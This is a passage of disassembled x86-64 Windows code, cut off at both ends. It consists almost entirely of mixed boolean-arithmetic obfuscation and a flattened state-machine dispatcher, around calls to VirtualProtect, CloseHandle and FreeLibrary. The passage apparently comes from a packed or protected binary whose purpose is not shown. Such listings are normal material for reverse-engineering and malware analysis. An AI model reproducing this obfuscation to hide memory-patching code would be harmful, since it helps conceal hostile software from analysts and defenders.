add rcx, rbx
sub rcx, rdi
add rcx, rax
movabs rax, 0x24a67f9f8fde84f4
add rcx, rax
movabs rax, 0xcd8c38211870d662
add rcx, rax
add rcx, r9
movabs rax, 0x4919a7bda86980e3
sub rcx, rax
sub rcx, rbx
add rcx, rax
add rcx, rsi
mov r9, qword [rbp + 0x48]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov eax, 0x54ac12a9
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
cmp eax, 0x37a6d96
jg 0x140006423
cmp eax, 0xea0b54f0
jle 0x140007828
cmp eax, 0xea0b54f1
je 0x14000cf4c
cmp eax, 0xf5286d5c
je 0x14000cf61
cmp eax, 0x2357a5c
jne 0x140001970
cmp byte [rbp + 0x8f], 0
mov eax, 0x56c17f60
mov ecx, 0x1d985daa
jmp 0x14001a3c7
cmp eax, 0x54ac12a8
jg 0x14000647f
cmp eax, 0x46432c06
jle 0x140007843
cmp eax, 0x46432c07
je 0x14000e75d
cmp eax, 0x4c65be15
je 0x14000f2b1
cmp eax, 0x4e9474b1
jne 0x140001970
mov rcx, qword [rbp + 0x50]
sub rsp, 0x20
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, rax
call rax
add rsp, 0x20
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x80]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rcx, qword [rbp + 0x60]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x20
mov eax, dword [0x1400a6668]
lea ebx, [rax - 1]
imul ebx, eax
mov r8d, ebx
not r8d
mov ecx, r8d
and ecx, ebx
mov eax, r8d
and eax, ecx
xor ecx, r8d
or ecx, eax
mov eax, ecx
not eax
and eax, 0x2766f0d1
and ecx, 0xd8990f2e
or ecx, eax
mov r10d, ecx
xor r10d, 0x80910b22
xor ecx, 0x22220c0
and ecx, 0x5a2a24cc
and r10d, 0xa5d5db33
or r10d, ecx
mov ecx, r10d
xor ecx, 0x14661aa9
xor r10d, 0xa5d5db33
and r10d, ecx
mov eax, ebx
mov ecx, r8d
and ecx, 0x40900018
and ebx, 0xbe404620
or ebx, ecx
mov ecx, ebx
xor ecx, 0xb6000000
xor ebx, 0x1a5a148
mov esi, r8d
or esi, 0xfed04638
mov r11d, esi
not r11d
and ebx, 0x9e5e768
and ecx, 0xf6100010
or ecx, ebx
and esi, 0x9e5e768
and r11d, 0xa1887
or r11d, esi
xor r11d, ecx
not r11d
mov r9d, r11d
and r9d, r8d
xor r11d, r8d
and r8d, 0xb38fd73e
and eax, 0x4c7028c1
or eax, r8d
mov ecx, eax
xor ecx, 0x4c7028c1
xor eax, 0xa28fd320
and eax, 0xa2fffb60
mov esi, ecx
and esi, 0x5d00049f
or esi, eax
xor esi, 0xecb3c505
and ecx, 0x4e4c3e65
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0xbb04566b
and ecx, 0x44fba994
or ecx, ebx
mov ebx, ecx
xor ebx, 0x44fba994
mov r8d, r10d
not r8d
xor ecx, 0x31044028
and ecx, 0x71ec69b8
mov esi, ebx
and esi, 0x8e139647
or esi, ecx
mov ecx, esi
xor ecx, 0x8e139647
mov edx, r10d
xor edx, 0x89994336
and edx, r8d
mov edi, r10d
and edi, 0x7666bcc9
mov eax, esi
xor eax, 0xf8752a8e
and eax, ecx
and ebx, 0x7666bcc9
mov r14d, edx
and r14d, edi
xor edi, edx
or edi, r14d
mov edx, eax
and edx, ebx
xor ebx, eax
or ebx, edx
mov eax, edi
not eax
and eax, 0xae96adda
and edi, 0x51695225
or edi, eax
mov eax, ebx
not eax
and eax, 0xae96adda
and ebx, 0x51695225
or ebx, eax
xor ebx, edi
xor esi, 0x71ec69b8
mov eax, r10d
and eax, 0xe4e81b7d
and r8d, 0x1b17e482
or r8d, eax
or r10d, esi
and esi, 0xe4e81b7d
and ecx, 0x1b17e482
or ecx, esi
xor ecx, r8d
not r10d
or r10d, ecx
not r10d
mov eax, ebx
and eax, r10d
xor r10d, ebx
or r10d, eax
mov eax, r10d
mov ecx, r10d
xor ecx, 0xb1b3c19a
and ecx, r10d
not r10d
and r10d, 0x90a38002
and eax, 0x21104198
or eax, r10d
xor eax, 0x21104198
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfd491166
and eax, ecx
and ecx, 0x2b6ee99
or ecx, edx
xor ecx, 0x2b6ee99
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov esi, ecx
xor esi, 0x4b61b13f
and esi, eax
mov edi, eax
or edi, 0x4b61b13f
mov ebx, edi
not ebx
mov edx, esi
not edx
mov r8d, edx
and r8d, 0x35bd6ed9
and esi, 0xca429126
or esi, r8d
or edx, edi
and edi, 0x35bd6ed9
and ebx, 0x80020000
or ebx, edi
xor ebx, esi
not edx
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x888b1241
and edx, 0x7774edbe
or edx, ebx
xor edx, 0xc2c51ab9
and ecx, 0xbcddf765
mov ebx, eax
and ebx, 0x4322089a
or ebx, ecx
xor ebx, 0x420db15d
and eax, 0xfed04638
or eax, ebx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0xa61ef0e9
and eax, 0x59e10f16
or eax, ecx
mov ebx, eax
xor ebx, 0x1010700
xor eax, 0x4002080
or edx, 0x65412fde
mov ecx, edx
not ecx
or eax, 0x9030d020
and eax, 0xd470f8b6
and ebx, 0x21010748
or ebx, eax
and edx, 0xd470f8b6
and ecx, 0xa8e0001
or ecx, edx
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0xeb63b7c6
and ecx, 0x149c4839
or ecx, eax
mov eax, ecx
xor eax, 0x610c0625
xor ecx, 0x80229808
and ecx, 0x90f3f9ca
and eax, 0x6f0c0635
or eax, ecx
mov ecx, eax
xor ecx, 0x6a000004
xor eax, 0x10b02108
and eax, 0x15bc2739
and ecx, 0xea43d8c6
or ecx, eax
mov eax, ecx
xor eax, 0x60439040
xor ecx, 0x15bc2739
or r11d, r9d
mov edx, r11d
not edx
and edx, 0xefd920e
and r11d, 0xf1026df1
or r11d, edx
mov r9d, r11d
xor r9d, 0xf1026df1
xor r11d, 0xefd920e
mov ebx, ecx
and ebx, 0x9a20488f
and eax, 0x65dfb770
or eax, ebx
xor eax, 0x9a20488f
or eax, r11d
and r11d, 0x8b7f4577
mov edx, r9d
and edx, 0x7480ba88
or edx, r11d
xor edx, 0x7480ba88
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x6552114e
and edx, 0x9aadeeb1
or edx, ebx
mov edi, edx
xor edi, 0x9aadeeb1
xor edx, 0x44101004
mov esi, eax
not esi
or r9d, ecx
mov ecx, r9d
not ecx
mov r8d, eax
and r8d, 0x8da43084
and esi, 0x725bcf7b
or esi, r8d
or eax, r9d
and r9d, 0x8da43084
and ecx, 0x725bcf7b
or ecx, r9d
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov ebx, edi
xor ebx, ecx
and ebx, edi
and edx, 0xd418f695
and edi, 0x2be7096a
or edi, edx
and ecx, 0xd418f695
and eax, 0x2be7096a
or eax, ecx
xor eax, edi
mov edx, ebx
not edx
mov ecx, eax
not ecx
mov edi, edx
and edi, 0xfe3ecb7e
and ebx, 0x1c13481
or ebx, edi
or edx, ecx
and ecx, 0xfe3ecb7e
and eax, 0x1c13481
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov r10d, edx
not r10d
mov eax, edx
or eax, 0xfb83760e
mov ecx, eax
not ecx
mov edi, r10d
or edi, 0x47c89f1
mov ebx, edi
not ebx
and eax, 0x70ea1bc6
and ecx, 0x4148031
or ecx, eax
and edi, 0x70ea1bc6
and ebx, 0x8b016408
or ebx, edi
xor ebx, ecx
mov eax, ebx
not eax
and eax, 0xfb83760e
and ebx, 0x47c89f1
or ebx, eax
mov ecx, ebx
not ecx
and ebx, 0x7fb0df9b
mov eax, ecx
and eax, 0x804f2064
or eax, ebx
xor eax, 0x53ab1b0a
and ecx, 0x2c1bc491
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa689822b
and ecx, 0x59767dd4
or ecx, eax
mov r11d, ecx
xor r11d, 0x59767dd4
mov eax, r10d
and eax, 0xd3e43b6e
and edx, 0x2c1bc491
or edx, eax
xor r10d, edx
and r10d, edx
mov r8d, ecx
xor r8d, 0xa689822b
mov r9d, r10d
not r9d
xor ecx, 0xfe5ced40
mov esi, ecx
and esi, r8d
and ecx, r11d
mov eax, r10d
xor eax, 0xa72a9094
mov r14d, eax
and r14d, r9d
and eax, r10d
mov ebx, esi
not ebx
mov edi, ecx
not edi
mov edx, ebx
and edx, 0xa3a8764a
and esi, 0x5c5789b5
or esi, edx
or ebx, edi
and edi, 0xa3a8764a
and ecx, 0x5c5789b5
or ecx, edi
xor ecx, esi
not ebx
or ebx, ecx
mov edi, r14d
not edi
mov ecx, eax
not ecx
mov edx, edi
and edx, 0x9afb3658
and r14d, 0x6504c9a7
or r14d, edx
or edi, ecx
and ecx, 0x9afb3658
and eax, 0x6504c9a7
or eax, ecx
xor eax, r14d
not edi
or edi, eax
mov eax, ebx
not eax
and eax, edi
not edi
and edi, ebx
or edi, eax
mov eax, r11d
and eax, 0x53777a4d
and r8d, 0xac8885b2
or r8d, eax
or r11d, r10d
and r10d, 0x53777a4d
and r9d, 0xac8885b2
or r9d, r10d
xor r9d, r8d
not r11d
or r11d, r9d
mov ecx, r11d
not ecx
mov eax, edi
not eax
mov edx, eax
and edx, 0x6398e8c8
and edi, 0x9c671737
or edi, edx
or eax, r11d
and r11d, 0x6398e8c8
and ecx, 0x9c671737
or ecx, r11d
xor ecx, edi
not eax
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x38d88ade
and ecx, eax
not eax
and eax, 0x5116bd88
and esi, 0xaee94277
or esi, eax
mov eax, esi
xor eax, 0x20080202
xor esi, 0x10108888
or esi, 0xc7277521
mov ebx, ecx
not ebx
mov edx, esi
and edx, 0x5ef4bdf4
and eax, 0x2008020a
or eax, edx
or esi, ebx
and ebx, 0x5ef4bdf4
and ecx, 0xa10b420b
or ecx, ebx
xor ecx, eax
not esi
or esi, ecx
mov eax, esi
not eax
and eax, 0xea130877
and esi, 0x15ecf788
or esi, eax
mov r14d, esi
mov r8d, esi
xor r8d, 0x95f3981d
and r8d, esi
mov r9d, esi
mov r15d, esi
mov edi, esi
xor edi, 0x45a55aee
and edi, esi
not esi
mov r11d, esi
mov ecx, esi
and ecx, 0x4404102a
and r15d, 0x1a14ac4
or r15d, ecx
mov ecx, r15d
xor ecx, 0xa14040
xor r15d, 0xfe5eb53b
mov edx, edi
not edx
mov ebx, r15d
and ebx, 0x9d1c3aaf
and ecx, 0x40a14040
or ecx, ebx
or r15d, edx
and edx, 0x9d1c3aaf
and edi, 0x62e3c550
or edi, edx
xor edi, ecx
not r15d
or r15d, edi
not r15d
mov r10d, r15d
and r10d, esi
xor r15d, esi
and esi, 0xdac75b91
and r14d, 0x2538a46e
or r14d, esi
mov ecx, r14d
xor ecx, 0x120000c
xor r14d, 0x90c31811
or r14d, 0x6a0c67e2
mov edx, r8d
not edx
mov esi, r14d
and esi, 0xa4dec041
and ecx, 0x1121181c
or ecx, esi
or r14d, edx
and edx, 0xa4dec041
and r8d, 0x5b213fbe
or r8d, edx
xor r8d, ecx
not r14d
or r14d, r8d
mov ecx, r14d
not ecx
and ecx, 0xf71cb805
and r14d, 0x8e347fa
or r14d, ecx
mov r8d, r14d
xor r8d, 0x910cc41
xor r14d, 0xeb0008
and r14d, 0x94eb13ae
and r8d, 0x6b14ec51
or r8d, r14d
mov r13d, r8d
xor r13d, 0x6b14ec51
xor r8d, 0x1441130c
and r11d, 0x3f71e538
and r9d, 0xc08e1ac7
or r9d, r11d
mov ebx, r9d
xor ebx, 0xc08e1ac7
xor r9d, 0x2c61a500
and r9d, 0x2ce1bfc0
mov edx, ebx
and edx, 0xd31e403f
or edx, r9d
xor edx, 0xd31e403f
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xd9101014
and edx, 0x26efefeb
or edx, ebx
mov r9d, edx
xor r9d, 0x26efefeb
mov r14d, edx
xor r14d, 0x8101014
mov ecx, r13d
and ecx, 0xe9ba40a2
and r8d, 0x1645bf5d
or r8d, ecx
mov r11d, r8d
xor r11d, 0x1645bf5d
mov ebx, r8d
xor ebx, 0x4aec9766
and ebx, r11d
or r13d, 0xa356d7c4
mov ecx, r13d
not ecx
mov edi, r9d
or edi, 0x5ca9283b
mov eax, ebx
not eax
mov r12d, eax
and r12d, 0x399025e2
and ebx, 0xc66fda1d
or ebx, r12d
mov esi, edi
not esi
xor edx, 0x85b9382f
and edx, r9d
or eax, r13d
and r13d, 0x399025e2
and ecx, 0x44290819
or ecx, r13d
xor ecx, ebx
not eax
or eax, ecx
mov ecx, edx
not ecx
mov ebx, edi
and ebx, 0xe55e3570
and esi, 0x200c284
or esi, ebx
or edi, ecx
and ecx, 0xe55e3570
and edx, 0x1aa1ca8f
or edx, ecx
xor edx, esi
not edi
or edi, edx
mov ecx, eax
not ecx
and ecx, edi
not edi
and edi, eax
or edi, ecx
xor r8d, 0xe9ba40a2
mov eax, r8d
and eax, 0xf5ebca81
and r11d, 0xa14357e
or r11d, eax
or r8d, r9d
and r9d, 0xf5ebca81
and r14d, 0xa14357e
or r14d, r9d
xor r14d, r11d
not r8d
or r8d, r14d
mov eax, r8d
not eax
and eax, 0xc9ebfaa6
and r8d, 0x36140559
or r8d, eax
xor r8d, 0x36140559
mov eax, edi
and eax, r8d
xor r8d, edi
or r8d, eax
mov r9d, r8d
not r9d
mov eax, r9d
and eax, 0x40c1a01d
mov ecx, r8d
and ecx, 0x90024700
or ecx, eax
xor ecx, 0x90024700
mov eax, r8d
and eax, 0x2f3c18e2
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xf2d75655
and eax, 0xd28a9aa
or eax, ecx
mov edx, eax
xor edx, 0x4e0008
xor eax, 0x1212302
and eax, 0x99213753
and edx, 0x66dec8ac
or edx, eax
mov eax, edx
xor eax, 0x42cc08ac
xor edx, 0x99213753
mov ecx, edx
and ecx, 0xb532f241
and eax, 0x4acd0dbe
or eax, ecx
mov ecx, r8d
and ecx, 0xb532f241
mov ebx, r9d
and ebx, 0x4acd0dbe
or ebx, ecx
xor ebx, eax
or edx, r8d
not edx
or edx, ebx
mov r11d, edx
not r11d
or r15d, r10d
mov eax, r15d
not eax
and eax, 0x789c3faf
and r15d, 0x8763c050
or r15d, eax
mov eax, r15d
xor eax, 0x8763c050
mov r12d, r15d
xor r12d, 0x40143c26
mov ecx, edx
and ecx, 0xb8cac3c9
mov esi, r11d
and esi, 0x47353c36
or esi, ecx
mov ecx, eax
xor r15d, 0x87f1e807
and r15d, eax
and eax, 0xb8cac3c9
and r12d, 0x47353c36
or r12d, eax
xor r12d, esi
not r12d
or r12d, edx
mov edi, r12d
not edi
mov eax, edx
and eax, 0xf12eeb0c
xor edx, 0xff6dd7a8
and edx, r11d
and r11d, 0xed114f3
or r11d, eax
mov eax, r11d
xor eax, 0x100052
xor r11d, 0x22804
or ecx, 0xff6dd7a8
mov r10d, ecx
not r10d
or r11d, 0xff6dd7a8
mov esi, edx
not esi
mov r14d, r11d
and r14d, 0xb0a32185
and eax, 0x100852
or eax, r14d
or r11d, esi
and esi, 0xb0a32185
and edx, 0x4f5cde7a
or edx, esi
xor edx, eax
not r11d
or r11d, edx
mov eax, r15d
not eax
mov edx, ecx
and edx, 0x3a509a1a
and r10d, 0x822045
or r10d, edx
or ecx, eax
and eax, 0x3a509a1a
and r15d, 0xc5af65e5
or r15d, eax
xor r15d, r10d
not ecx
or ecx, r15d
mov eax, r11d
not eax
and eax, ecx
not ecx
and ecx, r11d
or ecx, eax
mov eax, ecx
not eax
mov edx, r12d
and edx, 0xd709bac
mov ebx, edi
and ebx, 0xf28f6453
or ebx, edx
mov esi, eax
and esi, 0xd709bac
mov edx, ecx
xor edx, 0xd709bac
and edx, ecx
mov r10d, esi
and r10d, edx
xor edx, esi
or edx, r10d
mov esi, ebx
not esi
and esi, 0x2dbe500c
and ebx, 0xd241aff3
or ebx, esi
mov esi, edx
not esi
and esi, 0x2dbe500c
and edx, 0xd241aff3
or edx, esi
xor edx, ebx
mov ebx, edi
and ebx, 0xce5b802c
and r12d, 0x31a47fd3
or r12d, ebx
or edi, ecx
and ecx, 0xce5b802c
and eax, 0x31a47fd3
or eax, ecx
xor eax, r12d
not edi
or edi, eax
mov eax, edi
not eax
and eax, 0x5ff5307d
and edi, 0xa00acf82
or edi, eax
mov ecx, edi
xor ecx, 0x8180
xor edi, 0x5ff5307d
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xabcb7e02
and edx, 0x543481fd
or edx, ebx
or eax, edi
and edi, 0xabcb7e02
and ecx, 0x543481fd
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0xb86ea52c
mov edx, eax
xor edx, 0xb86ea52c
and edx, eax
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x47915ad3
and edx, 0xb86ea52c
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe636a243
and edx, 0x19c95dbc
or edx, ecx
mov edi, edx
xor edi, 0x19c95dbc
xor edx, 0xe416a200
and edx, 0xe59fab00
mov ecx, edi
and ecx, 0x1a6054ff
or ecx, edx
xor ecx, 0xe91dec59
and edi, 0xc824759
or edi, ecx
mov ecx, edi
not ecx
mov edx, ebx
and edx, 0x8a1a77d2
and eax, 0x75e5882d
or eax, edx
xor eax, 0x7967cf74
xor ebx, eax
and ebx, eax
mov eax, ebx
not eax
and ebx, edi
or edi, eax
not edi
and eax, ecx
or eax, ebx
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfb0395c4
and eax, 0x4fc6a3b
or eax, edx
mov edx, eax
xor edx, 0x40822
xor eax, 0x40000480
or ecx, 0x49271db6
mov r10d, ecx
not r10d
or eax, 0x3058e248
and eax, 0x7078e6d8
and edx, 0x9071926
or edx, eax
and ecx, 0x7078e6d8
and r10d, 0x86800001
or r10d, ecx
xor r10d, edx
mov eax, r9d
and eax, 0xdce4e007
mov r14d, r8d
xor r14d, 0xdce4e007
and r14d, r8d
mov ecx, eax
and ecx, r14d
xor r14d, eax
or r14d, ecx
mov eax, r14d
not eax
and eax, 0x231b1ff8
and r14d, 0xdce4e007
or r14d, eax
mov r11d, r14d
not r11d
mov eax, r11d
and eax, 0x22f66d72
mov ecx, r14d
and ecx, 0xdd09928d
or ecx, eax
mov esi, ecx
xor esi, 0xdd09928d
xor ecx, 0x22026c62
and ecx, 0xf702ee6f
mov eax, esi
and eax, 0x8fd1190
or eax, ecx
xor eax, 0xf5b6216f
and esi, 0x2b4cf00
or esi, eax
mov eax, esi
not eax
and eax, 0xc7c22b24
and esi, 0x383dd4db
or esi, eax
mov edi, esi
xor edi, 0x383dd4db
and r9d, 0xfd4b30ff
xor r8d, 0x2b4cf00
or r8d, r9d
mov ecx, r8d
not ecx
mov r9d, esi
xor r9d, 0xc7c22b24
and r8d, 0x63b62630
mov edx, ecx
and edx, 0x9c49d9cf
or edx, r8d
xor edx, 0x9c49d9cf
xor esi, 0x4530c90a
and esi, edi
or edi, 0x82f2e22e
mov eax, edi
not eax
mov ebx, edx
and ebx, 0x7d0d1dd1
and ecx, 0x82f2e22e
or ecx, ebx
mov ebx, esi
not ebx
mov r8d, edi
and r8d, 0x719c8387
and eax, 0xc011c50
or eax, r8d
or edi, ebx
and ebx, 0x719c8387
and esi, 0x8e637c78
or esi, ebx
xor esi, eax
not edi
or edi, esi
mov eax, edi
not eax
and eax, ecx
not ecx
and ecx, edi
or ecx, eax
mov eax, r9d
and eax, edx
xor edx, r9d
or edx, eax
not edx
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov edi, edx
mov eax, edx
xor eax, 0xfd4b30fe
and eax, edx
not edx
and edx, 0x5848002e
and edi, 0xa50330d0
or edi, edx
mov edx, edi
xor edx, 0x84023040
xor edi, 0x5afccf2f
mov ebx, eax
not ebx
mov ecx, edi
and ecx, 0x7bdd4592
and edx, 0x8402306c
or edx, ecx
or edi, ebx
and ebx, 0x7bdd4592
and eax, 0x8422ba6d
or eax, ebx
xor eax, edx
not edi
or edi, eax
mov eax, r14d
xor eax, 0xe6e9832b
and eax, r11d
mov ecx, r11d
or ecx, 0xe6e9832b
mov edx, ecx
not edx
mov esi, eax
not esi
mov ebx, esi
and ebx, 0x101a96ef
and eax, 0xefe56910
or eax, ebx
or esi, ecx
and ecx, 0x101a96ef
and edx, 0x9046810
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov eax, esi
not eax
and eax, 0x19167cd5
and esi, 0xe6e9832a
or esi, eax
and r11d, 1
xor r14d, 0xfffffffe
or r14d, r11d
mov eax, r14d
not eax
and eax, 0xc8b7d17f
and r14d, 0x37482e80
or r14d, eax
mov eax, r14d
xor eax, 0x22082c00
mov edx, esi
not edx
xor r14d, 0xc8b7d17f
mov ecx, edx
and ecx, 0x5d40d3c9
and esi, 0xa2bf2c36
or esi, ecx
or edx, r14d
and r14d, 0x5d40d3c9
and eax, 0xa2bf2c36
or eax, r14d
xor eax, esi
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x2099ce4b
and ecx, edx
or edx, 0xdf6631b4
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xcc656b6d
and eax, 0x20988402
or eax, esi
or edx, ebx
and ebx, 0xcc656b6d
and ecx, 0x339a9492
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0xdf6631b4
and edx, 0x2099ce4b
or edx, eax
mov ebx, edx
not ebx
mov eax, edi
not eax
and edx, eax
or eax, ebx
not eax
and ebx, edi
or ebx, edx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x5119b200
mov edx, ebx
and edx, 0x6c608dc
or edx, eax
xor edx, 0x6c608dc
mov eax, ebx
xor eax, 0x57dfbadc
and eax, ebx
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, eax
not edx
and edx, 0xa8204523
and eax, 0x57dfbadc
or eax, edx
mov edx, eax
not edx
and edx, 0xe9a21d49
and eax, 0x165de2b6
or eax, edx
mov edi, eax
xor edi, 0x165de2b6
xor eax, 0xe1a01d40
and eax, 0xe7a5bd76
mov edx, edi
and edx, 0x185a4289
or edx, eax
xor edx, 0xd991560e
and edi, 0x3e34eb78
or edi, edx
mov eax, edi
not eax
and eax, 0xa5811708
and edi, 0x5a7ee8f7
or edi, eax
mov edx, edi
xor edx, 0x1812e062
and ecx, 0x15c70d23
and ebx, 0xea38f2dc
or ebx, ecx
mov esi, ebx
xor esi, 0xea38f2dc
xor ebx, 0x1050902
and ebx, 0xc335ebc6
mov eax, esi
and eax, 0x3cca1439
or eax, ebx
xor eax, 0x2feff41
and esi, 0xc1cb1487
or esi, eax
mov ecx, esi
not ecx
xor edi, 0xa5811708
mov eax, edi
or eax, esi
mov ebx, eax
not ebx
and edi, 0x66ed0e9d
and edx, 0x9912f162
or edx, edi
and esi, 0x66ed0e9d
and ecx, 0x9912f162
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
mov edi, eax
and edi, 0x8cb52a28
and ebx, 0x734ad5d7
or ebx, edi
or eax, edx
and edx, 0x8cb52a28
and ecx, 0x734ad5d7
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x56a480f8
and edx, eax
not eax
and eax, 0xedbe5867
and ecx, 0x1241a798
or ecx, eax
mov eax, ecx
xor eax, 0x12008010
xor ecx, 0x44a40060
or ecx, 0xa95b7f07
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x441622cc
and eax, 0x12a08030
or eax, edi
or ecx, ebx
and ebx, 0x441622cc
and edx, 0xbbe9dd33
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x91afb817
and ecx, 0x6e5047e8
or ecx, eax
mov edx, ecx
xor edx, 0x911c5212
xor ecx, 0x2c28
and ecx, 0x6823adad
and edx, 0x97dc5252
or edx, ecx
mov ecx, edx
xor ecx, 0x97dc5252
mov eax, edx
xor eax, 0x6823adad
xor edx, 0x9a337616
and edx, eax
or eax, ecx
and ecx, 0xf210dbbb
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x56d045dc
and ecx, 0xa92fba23
or ecx, edx
mov edx, ecx
xor edx, 0x53002118
mov ebx, eax
not ebx
and ebx, 0x8aef5090
and eax, 0x7510af6f
or eax, ebx
mov ebx, eax
xor ebx, 0x7500a92d
xor ecx, 0xa4c09e67
xor eax, 0x8aef5090
mov edi, ecx
and edi, 0x88ff46c2
and edx, 0x7700b93d
or edx, edi
or ecx, eax
and eax, 0x88ff46c2
and ebx, 0x7700b93d
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x80b5c41e
and ecx, 0x7f4a3be1
or ecx, eax
mov r8d, ecx
xor r8d, 0x59402081
xor ecx, 0x81801e
and ecx, 0x268b9b7e
and r8d, 0xd9746481
or r8d, ecx
mov ebx, r8d
xor ebx, 0x268b9b7e
xor r8d, 0xd9746481
mov esi, r10d
xor esi, 0x587d5cce
and esi, r10d
not r10d
mov eax, r8d
and eax, 0x7cab6640
mov edx, ebx
and edx, 0x835499bf
or edx, eax
xor edx, 0x835499bf
mov eax, r10d
and eax, edx
xor edx, r10d
or edx, eax
mov eax, edx
not eax
and eax, 0x78206fd7
and edx, 0x87df9028
or edx, eax
mov r9d, edx
xor r9d, 0x87df9028
and r10d, 0x587d5cce
mov eax, r8d
and eax, 0x51165c68
and ebx, 0xaee9a397
or ebx, eax
mov eax, ebx
xor eax, 0xaee9a397
xor ebx, 0x96b00a6
and ebx, eax
or r8d, 0x587d5cce
mov edi, r8d
not edi
mov eax, r10d
and eax, esi
xor esi, r10d
or esi, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x40fe0cd0
and ebx, 0xbf01f32f
or ebx, ecx
or eax, r8d
and r8d, 0x40fe0cd0
and edi, 0xa700a321
or edi, r8d
xor edi, ebx
not eax
or eax, edi
mov ecx, esi
not ecx
and ecx, 0x9bf35937
and esi, 0x640ca6c8
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0x9bf35937
and eax, 0x640ca6c8
or eax, ecx
xor eax, esi
xor edx, 0x70206dc1
and edx, 0xf7f1edc1
mov ecx, r9d
and ecx, 0x80e123e
or ecx, edx
mov ebx, ecx
xor ebx, 0x80e123e
mov edi, eax
not edi
and edi, 0xd21fa4d
mov edx, eax
and edx, 0xf2de05b2
or edx, edi
mov edi, edx
xor edi, 0xf2de05b2
xor ecx, 0x624ab40b
and ecx, ebx
and r9d, 0x6a44a635
xor edx, 0x989aa387
and edx, edi
and eax, 0x6a44a635
mov esi, ecx
and esi, r9d
xor r9d, ecx
or r9d, esi
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, r9d
not ecx
and ecx, 0x1ed6b577
and r9d, 0xe1294a88
or r9d, ecx
mov ecx, eax
not ecx
and ecx, 0x1ed6b577
and eax, 0xe1294a88
or eax, ecx
xor eax, r9d
mov ecx, ebx
and ecx, edi
xor edi, ebx
or edi, ecx
mov edx, edi
not edx
mov r11d, eax
not r11d
mov ebx, r11d
and ebx, 0xb0c1af28
and eax, 0x4f3e50d7
or eax, ebx
or r11d, edi
and edi, 0xb0c1af28
and edx, 0x4f3e50d7
or edx, edi
xor edx, eax
not r11d
or r11d, edx
mov r8d, r11d
not r8d
mov edx, r8d
and edx, 0xa1a3fc03
mov eax, r11d
xor eax, 0xa1a3fc03
and eax, r11d
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x5e5c03fc
and eax, 0xa1a3fc03
or eax, edx
mov edx, eax
not edx
mov ebx, r8d
and ebx, 0x437335b5
mov ecx, r11d
and ecx, 0xbc8cca4a
or ecx, ebx
xor ecx, 0x437335b5
or ecx, r8d
mov edi, ecx
not edi
mov ebx, edx
or ebx, ecx
mov esi, ebx
not esi
and edx, 0xb8d8af05
and eax, 0x472750fa
or eax, edx
and ecx, 0xb8d8af05
and edi, 0x472750fa
or edi, ecx
xor edi, eax
mov eax, edi
not eax
mov ecx, ebx
and ecx, 0xf4940994
and esi, 0xb6bf66b
or esi, ecx
or ebx, eax
and eax, 0xf4940994
and edi, 0xb6bf66b
or edi, eax
xor edi, esi
not ebx
or ebx, edi
mov ecx, ebx
xor ecx, 0x337a7f69
and ecx, ebx
mov eax, ebx
or eax, 0xcc858096
mov edx, eax
not edx
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x7b0c463
and edx, 0x304a3b08
or edx, edi
or eax, ebx
and ebx, 0x7b0c463
and ecx, 0xf84f3b9c
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x2c8027f1
and eax, 0xd37fd80e
or eax, ecx
mov esi, eax
xor esi, 0x8742
xor eax, 0x1ffa5898
mov ecx, eax
and ecx, 0xf96d70a5
and esi, 0x6928f5a
